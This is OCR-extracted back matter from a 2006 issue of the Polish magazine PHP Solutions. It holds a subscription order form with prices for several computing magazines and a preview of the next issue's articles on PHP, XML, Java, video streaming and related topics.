</tabpanels> i wykorzystuje potęgę PHP w pracy kon-
</tabbox> sultanta.
</window>
Kontakt z autorem: aaron@wormus.com

80 www.phpsolmag.org PHP Solutions Nr 3/2006


zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer: (22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Piaskowa 3, 01-067 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: (22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................


automatyczne przedłużenie prenumeraty

Tytuł
Ilość Od numeru Opłata
Ilość
zamawianych pisma lub w zł
numerów
prenumerat miesiąca z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0 12 250/1801
Miesięcznik profesjonalnych programistów
SDJ Extra (od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra! 6 150/1352
Numery tematyczne dla programistów

Linux+ (2 płyty CD)


Miesięcznik o systemie Linux
12 250/1801

Linux+DVD (2 płyty DVD)


Miesięcznik o systemie Linux
12 270/1981

Linux+Extra! (od 1 do 7 płyt CD lub DVD)


Numery specjalne z najpopularniejszymi dystrybucjami Linuksa
8 232/1982

PHP Solutions (1 płyta CD)


Dwumiesięcznik o zastosowaniach języka PHP
6 135

Hakin9, jak się obronić (1 płyta CD)


Dwumiesięcznik o bezpieczeństwie i hakingu
6 135

.psd (1 płyta CD + film instruktażowy)


Dwumiesięcznik użytkowników programu Adobe Photoshop
6 140

Aurox Linux (4 płyty CD + 1 płyta DVD)


Magazyn z najpopularniejszym polskim Linuksem
4 1193

Suma

Jeżeli chcesz zapłacić kartą kredytową, wejdź na


stronę naszego sklepu internetowego:
1
Cena prenumeraty rocznej dla osób prywatnych
2
Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+
3
Cena prenumertaty dwuletniej Aurox Linux www.shop.software.com.pl
W następnym numerze
PHP Solutions 4/2006(15)

TECHNIKI
PHP, XML i Java – Guillaume Ponçon krok
po kroku przedstawi łączenie w PHP dwóch
bardzo ważnych technologii: XML oraz Java.
Artykuł pod tytułem PHP, XML i Java w praktyce
wyczerpująco przedstawi te zagadnienia.

NARZĘDZIA
EyeOS – Web Based Desktop System
– Po raz drugi staniemy przed pytaniem: Internet
na biurku czy biurko w Internecie? Artykuł rozwi-
nie wątki poruszone w tym numerze skupiając
się na technicznych aspektach działania systemu
oraz jego aplikacji.

PROJEKTY
Video streaming – Stefan Richter, Frederic
Bochman z flashcomguru.com pokażą techniki,
które pozwoliły na zbudowanie Google
Video, oraz kompletne rozwiązanie pozwalają-
ce na uruchomienie Video Streamingu na wła-
snym serwerze.

Porównanie Galerii zdjęć w PHP – wśród


dostępnych rozwiązań można przebierać, ale
ile z nich naprawdę zasługuje na naszą uwagę?
Które należy brać pod uwagę w przypadku spe-
cjalnych wymagań? Na te pytanie postaramy
się odpowiedzieć w tym porównaniu, stworzo-
nym przy współpracy z developerami poszcze-
gólnych projektów.

Ponadto planujemy: W sprzed


aży
od 20 cze


MSSQL i PHP
IRC BOT w PHP
rwca!
■ Wzorzec Active Record i jego zaawansowane zastosowania

a także ciąg dalszy artykułów poświęconych bezpieczeństwu aplikacji


oraz wykorzystaniu wzorców projektowych

You might also like